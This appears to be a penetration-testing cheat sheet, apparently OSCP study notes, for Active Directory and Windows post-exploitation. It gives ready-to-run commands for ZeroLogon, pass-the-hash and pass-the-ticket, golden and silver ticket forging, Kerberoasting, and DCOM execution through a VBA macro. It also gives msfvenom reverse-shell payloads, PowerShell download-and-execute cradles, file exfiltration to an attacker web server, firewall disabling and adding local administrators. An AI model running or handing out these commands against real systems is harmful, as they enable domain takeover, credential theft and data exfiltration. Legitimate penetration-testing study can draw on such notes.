Kerberos attack [cheatsheet](https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a#kerberos-cheatsheet).

## <mark style="color:red;">ZeroLogon Vulnerability</mark>

Try Zerologon (requires reset after use as account pw is set to empty)

* Source: <https://github.com/risksense/zerologon>
* Affects ALL Windows Server versions, but we want to target DCs (high-value).

```bash
# set computer account password to an empty string.
$ python3 set_empty_pw.py [dc_computername] [dc_ip]
$ python3 set_empty_pw.py xor-dc01 10.11.1.120 

# dump domain creds
$ python secretsdump.py -hashes :[empty_password_hash] '[domain]/[dc_computername]$@[dc_ip]'
$ python secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'xor/xor-dc01$@x.x.x.x'
```

## <mark style="color:red;">Password Spraying</mark>

* Dumped plaintext cred or cracked hash for your user?
* However, no creds/hashes for other users/SPN to use for lateral movement?
* Does the plaintext cred follow some pattern? e.g. `IAmUser01, IAmUser02 ...`
* Use `spray-passwords.ps1` script: <https://github.com/ZilentJack/Spray-Passwords/blob/master/Spray-Passwords.ps1>

```bash
# test password against all users in the AD, including admins.
PS> .\spray-passwords.ps1 -Admin -Pass IamUser01
PS> .\spray-passwords.ps1 -Admin -Pass IamUser02
...
```

If there are too many users/passwords to manually each cred against RDP, use Hydra to bruteforce RDP:

* As not all users are part of the "NT AUTHORITY\REMOTE INTERACTIVE LOGON" group.

```
$ hydra -L users.txt -P pass.txt rdp://[target]
```

## <mark style="color:red;">Plaintext Credentials</mark>

```bash
# RDP clients
$ rdesktop [target] -d [domain] -u [user] -p [password]
$ remmina -c rdp://[username]:[password]@[target]

# WinRM client (used in compromised computer) - ensure WSMAN port 5985 is open on target
PS> winrm quickconfig                                               # start winrm service
PS> winrm set winrm/config/Client @{AllowUnencrypted = "true"}      # allow HTTP
PS> Set-Item WSMan:localhost\client\trustedhosts -value *           # trust all hosts
cmd> winrs -u:[username] -p:[password] -r:http://[target]:5985/wsman "cmd" # execute command

# Admin groups but with a "MANDATORY LABEL\MEDIUM" context?
# Try UAC bypass technique.
# See https://github.com/brianlam38/OSCP-2022/blob/main/cheatsheet-main.md#user-account-control-uac-bypass
```

## <mark style="color:red;">Service Account Attacks</mark>

* If we know the `serviceprincipalname` value from prior AD enum, we can target the SPN by by requesting a service ticket for it from the Domain Controller and access resources from the service with our own ticket.

```bash
# request service ticket
PS> Add-Type -AssemblyName System.IdentityModel
PS> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken \
        -ArgumentList '[service_principal_name]'

# export cached tickets
mimikatz > kerberos::list /export
```

Crack SPN hashes

```bash
# Kerberoast
$ python3 tgsrepcrack.py rockyou.txt [ticket.kirbi]  # locally crack hashes
PS> Invoke-Kerberoast.ps1                            # crack hashes on target

# John the Ripper
$ python3 kirbi2john.py -o johncrackfile ticket.kirbi  # convert ticket to john file
$ john --wordlist=rockyou.txt johncrackfile
```

## <mark style="color:red;">Pass the Hash</mark>

(NTLM based AuthN)

* Requires user/service account to have local admin rights on target, as connection is made using the `Admin$` share.
* Requires SMB connection through the firewall
* Requires Windows File and Print Sharing feature to be enabled.

```bash
# Method 1
$ pth-winexe -U [domain]/[username]%[blank_hash]:[ntlm_hash] //[target] [command_to_exec]
$ pth-winexe -U xor/Administrator%aad3b435b51404eeaad3b435b51404ee:08df31234567890bf6 //10.1.1.1 cmd.exe
^OR try without domain prefix in -U flag

# Method 2
$ python wmiexec.py Administrator@[target] -hashes [LM]:[NT/NTLM]
$ python wmiexec.py Administrator@10.11.1.22 -hashes [leavebankifnoLM]:ee12345067801f38115019ca2fb

# Method 3
$ python psexec.py [username]@[target] -hashes :[NT/NTLM]

# Method 4 - RDP PTH
$ xfreerdp /u:Administrator /pth:[NTLM hash] /d:[domain] /v:[target]
#If error occurs "Account Restrictions are preventing this user from signing in.” enable Restricted Admin Mode:
$ crackmapexec smb [target] -u [username] -H [hash] -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'

# Method 5 - see guide https://www.ivoidwarranties.tech/posts/pentesting-tuts/cme/crackmapexec/
$ crackmapexec smb [target] -u [username] -H [hash] -x "whoami" 

# Method 6 - evilwinrm
evilwinrm -i <TARGET_IP> -u <USERNAME> -H <NTLM_HASH>
```

## <mark style="color:red;">Overpass the Hash</mark>

(NTLM Hash -> Kerberos-based AuthN)

* Attack path: obtain a user's NTLM hash -> start new cmd/ps process as user -> request Kerberos TGT as user -> code exec on any machine where the user has permissions.
* Requirement: user/service account to have local admin on target machine.
* Useful when Kerberos is the only authentication mechanism allowed in a target (NTLM authN disabled).
* `psexec.exe` requires local admin rights as it accesses admin$ share.
* NOTE: We can only use the TGT on the machine it was created for.

OPTH via. COMPROMISED HOST

```bash
### WITH MIMIKATZ ON COMPROMISED HOST
mimikatz > sekurlsa::logonpasswords    # obtain NTLM hash
mimikatz > sekurlsa::pth               # create new PS process in context of target user
        /user:[user_name] 
        /domain:[domain_name]
        /ntlm:[hash_value]
        /run:PowerShell.exe

# (new PS window, but on same host)
PS> klist # should show no TGT/TGS
PS> net use \\dc01 (try other comps/targets) # generate TGT by authN to network share on the computer
PS> klist # now should show TGT/TGS
PS> .\PsExec.exe \\[computer] cmd.exe  # use TGT to perform code exec against
                                       # target which user has permissions on.
                                       # (as Psexec does not accept hashes)
```

OPTH via. KALI

```bash
# [OPTION 1 TICKET RETRIEVAL] Request the TGT with hash
$ python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the used by default by Microsoft)
$ python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
# Request the TGT with password
$ python getTGT.py <domain_name>/<user_name>:[password]
# If not provided, password is asked

# [OPTION 2 TICKET RETRIEVAL] export tickets -> copy to Kali
mimikatz> sekurlsa::tickets /export                             
cmd> copy [ticket.kirbi] \\192.168.119.XXX\share\[ticket.kirbi]
# use ticket_converter.py to convert .kirbi to .ccache
# https://github.com/Zer1t0/ticket_converter
$ python ticket_converter.py ticket.kirbi ticket.ccache

# Set the TGT for impacket use
$ export KRB5CCNAME=<TGT_ccache_file>

# execute remote commands with any of the following by using the TGT
$ python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
$ python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
$ python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

## <mark style="color:red;">Pass the Ticket</mark>

(Kerberos-based AuthN)

Pass-the-Ticket takes advantage of the TGS by exporting service tickets, injecting them into memory (on target) or caching as environment variable (on Kali) and then authenticating with the injected/cached ticket via. Kerberos-based authN as opposed to NTLM-based authN.

* This attack does not require the service/user to have local admin rights on the target.

PTT via. COMPROMISED HOST (exporting -> inject into memory -> psexec.exe)

```bash
# METHOD 1: Mimikatz
mimikatz> sekurlsa::tickets /export          # export tickets
mimikatz> kerberos::ptt [ticket_name.kirbi]  # inject into memory
cmd> psexec.exe \\target.hostname.com cmd    # authN to remote target using ticket

# METHOD 2: Rubeus
cmd> Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt
```

PTT via. KALI (exporting -> cache as env var -> psexec.py/smbexec.py/wmiexec.py)

```bash
# export tickets -> copy to Kali
mimikatz> sekurlsa::tickets /export                             
cmd> copy [ticket.kirbi] \\192.168.119.XXX\share\[ticket.kirbi]

# use ticket_converter.py to convert .kirbi to .ccache
# https://github.com/Zer1t0/ticket_converter
$ python ticket_converter.py ticket.kirbi ticket.ccache

# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

## <mark style="color:red;">Silver Ticket</mark>

Silver Tickets enable an attacker to create forged service tickets (TGS tickets)

* In this attack, user/group permissions in a Service Ticket are blindly trusted by the application on a target server running in the context of the service account. We forge our own Service Ticket (Silver Ticket) to access the resource (e.g. IIS app, MSSQL app) with any permissions we want. If the SPN/service account is used across multiple servers, we can leverage our Silver Ticket against all.
* Walkthrough of PTT via. compromised MSSQLSvc hash: <https://stealthbits.com/blog/impersonating-service-accounts-with-silver-tickets/>

SILVER TICKET via. COMPROMISED HOST

<pre class="language-bash"><code class="lang-bash"># obtain SID of domain (remove RID -XXXX) at the end of the user SID string.
cmd> whoami /user
corp\offsec S-1-5-21-1602875587-2787523311-2599479668<a data-footnote-ref href="#user-content-fn-1">-1103</a>

# clean every kerberos existing tickets
mimikatz > kerberos::purge

# verify the purge
mimikatz > kerberos::list

# generate the Silver Ticket (TGS) and inject it into memory
mimikatz > kerberos::golden /user:[user_name] /domain:[domain_name].com /sid:[sid_value] 
        /target:[service_hostname] /service:[service_type] /rc4:[hash] /ptt
        
# abuse Silver Ticket (TGS)
cmd> psexec.exe -accepteula \\&#x3C;remote_hostname> cmd   # psexec
cmd> sqlcmd.exe -S [service_hostname]                 # if service is MSSQL
</code></pre>

SILVER TICKET via. KALI

```bash
# generate the Silver Ticket with NTLM
$ python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn <service_spn>  <user_name>

# set the ticket for impacket use
$ export KRB5CCNAME=<TGT_ccache_file_path>

# execute remote commands with any of the following by using the TGT
$ python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
$ python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
$ python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

## <mark style="color:red;">Distributed Component Object Model (DCOM)</mark>

* DCOM allows a computer to run programs over the network on a different computer e.g. Excel/PowerPoint/Outlook
* Requires RPC port 135 and local admin access to call the DCOM Service Control Manager - the API.
* The `run` method within DCOM allows us to execute a VBA macro remotely.

#### DCOM - create payload and VBA macro

From Kali, create rshell payload:

```bash
$ msfvenom -p windows/shell_reverse_tcp LHOST=[kali] LPORT=4444 -f hta-psh -o evil.hta
```

(Python3) split payload into smaller chunks starting with "powershell.exe -nop -w hidden -e"

```python
str = "powershell.exe -nop -w hidden -e {base64_encoded_payload}"
n = 50
for i in range(0, len(str), n):
print("Str = Str + " + '"' + str[i:i+n] + '"')

# create VBA macro -> insert into Excel file
Sub AutoOpen()
    exploit
End Sub
Sub Document_Open()
    exploit
End Sub
Sub exploit()
        Dim str As String
        {insert_payload_here}
        # OPTION 1
        # Shell (Str)                    
        # OPTION 2
        CreateObject("Wscript.Shell").Run str
End Sub

# check if document contains valid exploit macro
$ mraptor [exploit.doc]
```

{% file src="/files/RIIzuDN8tXrIUU2TOGmE" %}

DCOM - Copy file to remote and execute

```bash
# create instance of Excel.Application object
$com [activator]::CreateInstance([type]::GetTypeFromProgId("Excel.Application", "[target_workstation]"))

# copy Excel file containing VBA payload to target
$LocalPath = "C:\Users\[user]\badexcel.xls
$RemotePath = "\\[target]\c$\badexcel.xls
[System.IO.File]::Copy($LocalPath, $RemotePath, $True)

# create a SYSTEM profile - required as part of the opening process
$path = "\\[target]\c$\Windows\sysWOW64\config\systemprofile\Desktop"
$temp = [system.io.directory]::createDirectory($Path)

# open Excel file and execute macro
$Workbook = $com.Workbooks.Open("C:\myexcel.xls")
$com.Run("mymacro")
```

[^1]: EXCLUDE THIS PART!


# AD Attacking Kerberos

## <mark style="color:red;">Kerbrute</mark>

### <mark style="color:blue;">Installation</mark>

1. Download a precompiled binary for your OS - <https://github.com/ropnop/kerbrute/releases>
2. Rename kerbrute\_linux\_amd64 to kerbrute
3. `chmod +x kerbrute` - make kerbrute executable

### <mark style="color:blue;">Enumerating Users</mark>

1. cd into the directory that you put Kerbrute
2. Download the wordlist to enumerate with [here](https://github.com/Cryilllic/Active-Directory-Wordlists/blob/master/User.txt)
3. Brute force user accounts from a domain controller using a supplied wordlist:

```bash
./kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt
```

## <mark style="color:red;">Rubeus</mark>

### <mark style="color:blue;">Harvesting Tickets</mark>

Harvesting gathers tickets that are being transferred to the KDC and saves them for use in other attacks such as the pass the ticket attack.

```bash
C:\> cd Downloads #Navigate to the directory Rubeus is in
C:\> Rubeus.exe harvest /interval:30 #Tell Rubeus to harvest for TGTs every 30 seconds
```

### <mark style="color:blue;">Brute-Forcing / Password-Spraying</mark>

Rubeus can both brute force passwords as well as password spray user accounts.

```bash
C:\> cd Downloads #Navigate to the directory Rubeus is in
C:\> Rubeus.exe brute /password:Password1 /noticket #This will take a given password and "spray" it against all found users then give the .kirbi TGT for that user
```

{% hint style="info" %}
Be mindful of how you use this attack as it may lock you out of the network depending on the account lockout policies.
{% endhint %}

## <mark style="color:red;">Kerberoasting</mark>

### <mark style="color:blue;">Rubeus</mark>

```bash
C:\> cd Downloads #Navigate to the directory Rubeus is in
C:\> Rubeus.exe kerberoast #This will dump the Kerberos hash of any kerberoastable users
```

Copy the hash to Kali into a .txt file so it can be cracked using hashcat:

```bash
hashcat -m 13100 -a 0 hash.txt Pass.txt
```

### <mark style="color:blue;">Impacket</mark>

Impacket releases have been unstable since 0.9.20 I suggest getting an installation of Impacket < 0.9.20

Download the precompiled package from: <https://github.com/SecureAuthCorp/impacket/releases/tag/impacket_0_9_19>

```bash
cd Impacket-0.9.19 #Navigate to the impacket directory
pip install . #This will install all needed dependencies
```

```bash
cd /usr/share/doc/python3-impacket/examples/ #Navigate to where GetUserSPNs.py is located

# Dump the Kerberos hash for all kerberoastable accounts it can find on the target domain just like Rubeus does; however, this does not have to be on the targets machine and can be done remotely.
sudo python3 GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip MACHINE_IP -request 

# Crack the hash using hashcat
hashcat -m 13100 -a 0 hash.txt Pass.txt - now crack that hash
```

## <mark style="color:red;">AS-REP Roasting</mark>

```bash
C:\> Rubeus.exe asreproast #Dumping KRBASREP5 Hashes

#Transfer the hash to Kali and put the hash into a txt file
#Insert 23$ after $krb5asrep$ so that the first line will be $krb5asrep$23$User...

#Crack those Hashes
hashcat -m 18200 hash.txt Pass.txt
```

## <mark style="color:red;">Pass the Ticket</mark>

### <mark style="color:blue;">Prepare Mimikatz & Dump Tickets</mark>

```bash
C:\> cd Downloads #Navigate to the directory mimikatz is in
C:\> mimikatz.exe #Run mimikatz
mimikatz> privilege::debug #Ensure this outputs [output '20' OK] if it does not that means you do not have the administrator privileges to properly run mimikatz
mimikatz> sekurlsa::tickets /export #This will export all of the .kirbi tickets into the directory that you are currently in
```

### <mark style="color:blue;">Pass the Ticket</mark>

Now that we have our ticket ready we can now perform a pass the ticket attack to gain domain admin privileges.

```bash
#Run this command inside of mimikatz with the ticket that you harvested from earlier. 
# It will cache and impersonate the given ticket
mimikatz> kerberos::ptt <ticket> 

#Check that we successfully impersonated the ticket by listing our cached tickets.
mimikatz> klist
```

You now have impersonated the ticket giving you the same rights as the TGT you're impersonating.<br>

## <mark style="color:red;">Golden / Silver Ticket Attack</mark>

### <mark style="color:blue;">Dump the krbtgt hash</mark>

```bash
#Navigate to the directory mimikatz is in and run mimikatz
cd downloads && mimikatz.exe
mimikatz> privilege::debug #Ensure this outputs [privilege '20' ok]

#Dump the hash as well as the security identifier needed to create a Golden Ticket. 
#To create a silver ticket you need to change the /name: to dump the hash of either a domain admin account or a service account such as the SQLService account.
mimikatz> lsadump::lsa /inject /name:krbtgt 


```

### <mark style="color:blue;">Create a Golden/Silver Ticket</mark>

Creating a golden ticket to create a silver ticket simply put a service NTLM hash into the krbtgt slot, the sid of the service account into sid, and change the id to 1103:

```bash
mimikatz> kerberos::golden /user:Administrator /domain:controller.local /sid: /krbtgt: /id:
```

Demo:

<figure><img src="/files/2gcETPJBkWdl8IouDhlp" alt=""><figcaption></figcaption></figure>

### <mark style="color:blue;">Use the Golden/Silver Ticket to access other machines</mark>

This will open a new elevated command prompt with the given ticket in mimikatz:

```
mimikatz> misc::cmd
```

Access machines that you want, what you can access will depend on the privileges of the user that you decided to take the ticket from however if you took the ticket from krbtgt you have access to the ENTIRE network hence the name golden ticket; however, silver tickets only have access to those that the user has access to if it is a domain admin it can almost access the entire network however it is slightly less elevated from a golden ticket.


# Hash Cracking Techniques

Cracking NT (NTLM) hashes

```bash
$ hashcat -m 1000 -a 0 hashes.txt [path/to/wordlist.txt] -o cracked.txt
$ john --wordlist=[path/to/wordlist.txt] hashes.txt
```

Kerberoasting - Crack SPN hashes via. exported `.kirbi` tickets.

* Walkthrough: <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting>

```bash
# Kerberoast
$ python3 tgsrepcrack.py rockyou.txt [ticket.kirbi]  # locally crack hashes
PS> Invoke-Kerberoast.ps1                            # crack hashes on target

# John the Ripper
$ python3 kirbi2john.py -o johncrackfile ticket.kirbi  # convert ticket to john file
$ john --wordlist=rockyou.txt johncrackfile
```


# Transfer Files

## <mark style="color:red;">Placing files in writeable paths</mark>

{% embed url="<https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md>" %}

The following folders are by default writable by normal users (depends on Windows version - This is from W10 1803)

```bash
C:\Windows\Tasks 
C:\Windows\Temp 
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```

## <mark style="color:red;">SMB</mark>

On Kali, extract the tools.zip archive to a directory. Change to this directory and run either of the following to set up an SMB server:

```python
python3 /usr/share/doc/python3-impacket/examples/smbserver.py tools .
python /usr/share/doc/python-impacket/examples/smbserver.py tools .
```

Support for smb2

```bash
python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support tools $(pwd)
```

To copy files from Kali to Windows:

```shell
copy \\192.168.1.11\tools\file.ext file.ext
```

&#x20;To copy files from Windows to Kali:

```bash
copy file.ext \\192.168.1.11\tools\file.ext
```

Connecting from Windows to Kali SMB

```bash
# Kali - host SMB share
$ python3 /usr/share/doc/python3-impacket/examples/smbserver.py [sharename] [/path/to/share]  # setup local share

# Target - connect to share
cmd> net view \\[kali]              # view remote shares
cmd> net use \\[kali]\[share]       # connect to share
cmd> copy \\[kali]\[share]\[src_file] [/path/to/dest_file]  # copy file
```

## <mark style="color:red;">RDP</mark>

Enable RDP Powershell:

```powershell
Set-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
or
reg add "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
```

Connect using xfreerdp:

<pre class="language-bash"><code class="lang-bash">xfreerdp /u:&#x3C;USERNAME> /p:&#x3C;PASSWORD> /v:&#x3C;TARGET_IP>
<strong>proxychains xfreerdp /u:&#x3C;USERNAME> /p:&#x3C;PASSWORD> /v:&#x3C;TARGET_IP>
</strong></code></pre>

If RDP is available (or we can enable it), we can add our low privileged user to the administrators group and then spawn an administrator command prompt via the GUI:

```
> net localgroup administrators <username> /add
```

Enable RDP and add User to:

```bash
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
netsh advfirewall set allprofiles state off
net localgroup "remote desktop users" alice /add
```

## <mark style="color:red;">Powershell .ps1</mark>

This is a simple powershell script to download files:

```powershell
$baseUrl = "http://192.168.119.139/"
$fileNames = @("PowerUP.ps1", "PowerView.ps1", "mimikatz.exe", "winPEASany.exe")
$downloadPath = "C:\Winodws\Tasks"

foreach ($fileName in $fileNames) {
    $url= $baseUrl + $fileName
    $filePath = Join-Path $downloadPath $fileName
    Invoke-WebRequest -Uri $url -OutFile $filePath
    Write-Host "Downloaded $fileName to $filePath"
}
```

## <mark style="color:red;">Powershell</mark>

```powershell
# Download file from remote to local
powershell -c (New-Object Net.WebClient).DownloadFile('http://[host]:[port]/[file]', '[file]')
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.0.4/wget.exe','C:\Users\offsec\Desktop\wget.exe')"

# Execute remote PS script
PS> IEX (New-Object System.Net.WebClient).DownloadString('http://[kali]/[script].ps1')
```

## <mark style="color:red;">IWR</mark>

From Windows:

```
IWR -Uri http://KALI_IP:PORT -OutFile C:\Path\To\File
```

## <mark style="color:red;">Certutil</mark>

From kali:

```
python3 -m http.server 9999
```

From Windows CMD:

```powershell
certutil -urlcache -split -f http://<kali_ip>:9999/shell_445.exe C:\\Windows\\Tasks\\shell_445.exe
```

## <mark style="color:red;">Bitsadmin</mark>

From Windows cmd:

```
bitsadmin /transfer badthings http://[kali]:[port]/[src_file] [dest_file]
```

## <mark style="color:red;">SSH server</mark>

Let’s download a file to our Kali box using SCP. Start a SSH server if it is not already running

```
systemctl start ssh.socket 
```

```bash
# Download from Kali
scp <username>@<kali_ip>:C:/Windows/Tasks/file.txt . 

# Upload from Target
scp /tmp/linpeas.out kali@<kali_ip>:/home/kali/Offensive/PGs/
```

## <mark style="color:red;">Netcat</mark>

Windows:

```bash
C:\Users\offsec> nc -nlvp 4444 > incoming.exe
listening on [any] 4444 ...
```

Kali:

```bash
kali@kali:~$ locate wget.exe
/usr/share/windows-resources/binaries/wget.exe

kali@kali:~$ nc -nv 10.11.0.22 4444 < /usr/share/windows-resources/binaries/wget.exe
(UNKNOWN) [10.11.0.22] 4444 (?) open
```

The connection is received by Netcat on the Windows machine as shown below:

```powershell
C:\Users\offsec> nc -nlvp 4444 > incoming.exe
listening on [any] 4444 ...
connect to [10.11.0.22] from <UNKNOWN) [10.11.0.4] 43459
^C
C:\Users\offsec>
```

## <mark style="color:red;">Socat</mark>&#x20;

Alice wants to share a file with Bob:

```bash
kali@kali:~$ sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt
```

Bob downloads the file from Alice host:

```powershell
C:\Users\offsec> socat TCP4:10.11.0.4:443 file:received_secret_passwords.txt,create
```

## <mark style="color:red;">Servers</mark>

### <mark style="color:blue;">Python2</mark>

```bash
python -m SimpleHTTPServer 7331
```

### <mark style="color:blue;">Python3</mark>

```bash
python3 -m http.server 7331
```

### <mark style="color:blue;">PHP</mark>

```bash
php -S 0.0.0.0:8000
```

### <mark style="color:blue;">Ruby</mark>

```bash
ruby -run -e httpd . -p 9000
```

### <mark style="color:blue;">Busybox</mark>

```bash
busybox httpd -f -p 10000
```


# Windows Downloads

## Windows Downloads Using Scripting Languages

Creating a VBScript HTTP downloader script

```vba
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo  Err.Clear >> wget.vbs
echo  Set http = Nothing >> wget.vbs
echo  Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo  If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo  If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo  If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo  http.Open "GET", strURL, False >> wget.vbs
echo  http.Send >> wget.vbs
echo  varByteArray = http.ResponseBody >> wget.vbs
echo  Set http = Nothing >> wget.vbs
echo  Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo  Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo  strData = "" >> wget.vbs
echo  strBuffer = "" >> wget.vbs
echo  For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo  ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo  Next >> wget.vbs
echo  ts.Close >> wget.vbs
```

We can run this (with cscript) to download files from our Kali machine:

```bash
C:\Users\Offsec> cscript wget.vbs http://10.11.0.4/evil.exe evil.exe
```

## Windows Downloads using PowerShell

The example below shows an implementation of a downloader script using the *System.Net.WebClient* PowerShell class:

```bash
C:\Users\Offsec> echo $webclient = New-Object System.Net.WebClient >>wget.ps1
C:\Users\Offsec> echo $url = "http://10.11.0.4/evil.exe" >>wget.ps1
C:\Users\Offsec> echo $file = "new-exploit.exe" >>wget.ps1
C:\Users\Offsec> echo $webclient.DownloadFile($url,$file) >>wget.ps1
```

we can run it using this:

```bash
C:\Users\Offsec> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
```

We can also execute this script as a one-liner as shown below:

```bash
C:\Users\Offsec> powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://10.11.0.4/evil.exe', 'new-exploit.exe')
```

## Windows Download and Execution from hosted remote file

To demonstrate this, we will create a simple PowerShell script on our Kali machine (Listing 20):

```bash
kali@kali:/var/www/html$ sudo cat helloworld.ps1 
Write-Output "Hello World"
```

Next, we will run the script with the following command on our compromised Windows machine:

```bash
C:\Users\Offsec> powershell.exe IEX (New-Object System.Net.WebClient).DownloadString('http://10.11.0.4/helloworld.ps1')
Hello World
```

The content of the PowerShell script was downloaded from our Kali machine and successfully executed without saving it to the victim hard disk.

## Windows Downloads with exe2hex and PowerShell

We'll start by locating and inspecting the nc.exe file on Kali Linux.

```bash
kali@kali:~$ locate nc.exe | grep binaries
/usr/share/windows-resources/binaries/nc.exe

kali@kali:~$ cp /usr/share/windows-resources/binaries/nc.exe .

kali@kali:~$ ls -lh nc.exe
-rwxr-xr-x 1 kali kali 58K Sep 18 14:22 nc.exe
```

Although the binary is already quite small, we will reduce the file size to show how it's done. We will use upx, an executable packer (also known as a PE compression tool):

```bash
kali@kali:~$ upx -9 nc.exe
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2018
UPX 3.95        Markus Oberhumer, Laszlo Molnar & John Reiser   Aug 26th 2018

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
     59392 ->     29696   50.00%    win32/pe     nc.exe
Packed 1 file.

kali@kali:~$ ls -lh nc.exe
-rwxr-xr-x 1 kali kali 29K Sep 18 14:22 nc.exe
```

We'll use the excellent *exe2hex* tool for the conversion process:

```bash
kali@kali:~$ exe2hex -x nc.exe -p nc.cmd
[*] exe2hex v1.5.1
[+] Successfully wrote (PoSh) nc.cmd
```

When we copy and paste this script into a shell on our Windows machine and run it, we can see that it does.


# Windows Uploads

## Windows Uploads Using Windows Scripting Languages

In certain scenarios, we may need to exfiltrate data from a target network using a Windows client.

If outbound HTTP traffic is allowed we can create the following PHP script and save it as upload.php in our Kali webroot directory, /var/www/html:

```php
<?php
$uploaddir = '/var/www/uploads/';

$uploadfile = $uploaddir . $_FILES['file']['name'];

move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
```

Next, we must create the uploads folder and modify its permissions, granting the *www-data* user ownership and subsequent write permissions:

```bash
kali@kali:/var/www$ sudo mkdir /var/www/uploads
kali@kali:/var/www$ ps -ef | grep apache
kali@kali:/var/www$ sudo chown www-data: /var/www/uploads
kali@kali:/var/www$ ls -la
```

With Apache and the PHP script ready to receive our file, we move to the compromised Windows host and invoke the UploadFile method from the System.Net.WebClient class to upload the document we want to exfiltrate, in this case, a file named important.docx:

```powershell
C:\Users\Offsec> powershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php', 'important.docx')
```

## Uploading Files with TFTP

We first need to install and configure a TFTP server in Kali and create a directory to store and serve files. Next, we update the ownership of the directory so we can write files to it. We will run atftpd as a daemon on UDP port 69 and direct it to use the newly created /tftp directory:

```bash
kali@kali:~$ sudo apt update && sudo apt install atftp
kali@kali:~$ sudo mkdir /tftp
kali@kali:~$ sudo chown nobody: /tftp
kali@kali:~$ sudo atftpd --daemon --port 69 /tftp
```

The final command is similar to the one shown below:

```bash
C:\Users\Offsec> tftp -i 10.11.0.4 put important.docx
Transfer successful: 359250 bytes in 96 second(s), 3712 bytes/s
```


# Shells


# Reverse/Bind Shells

## <mark style="color:red;">Shell Generator</mark>

You can get a shell easily from here: <https://www.revshells.com/>

### <mark style="color:blue;">Upgrading a Non-Interactive Shell</mark>

```python
python -c 'import pty; pty.spawn("/bin/bash");'
[Ctrl + Z]
stty raw -echo; fg
```

## <mark style="color:red;">Msfvenom</mark>

Windows 10 x64 reverse shell with **msfvenom**:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f exe -o shell_53.exe
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.11 LPORT=443 -f exe -o shell_443.exe
```

Using msfvenom to execute a specific command:

```bash
msfvenom -p windows/exec CMD="net localgroup administrators <USERNAME_TO_ADD> /add" -f exe -o file.exe
```

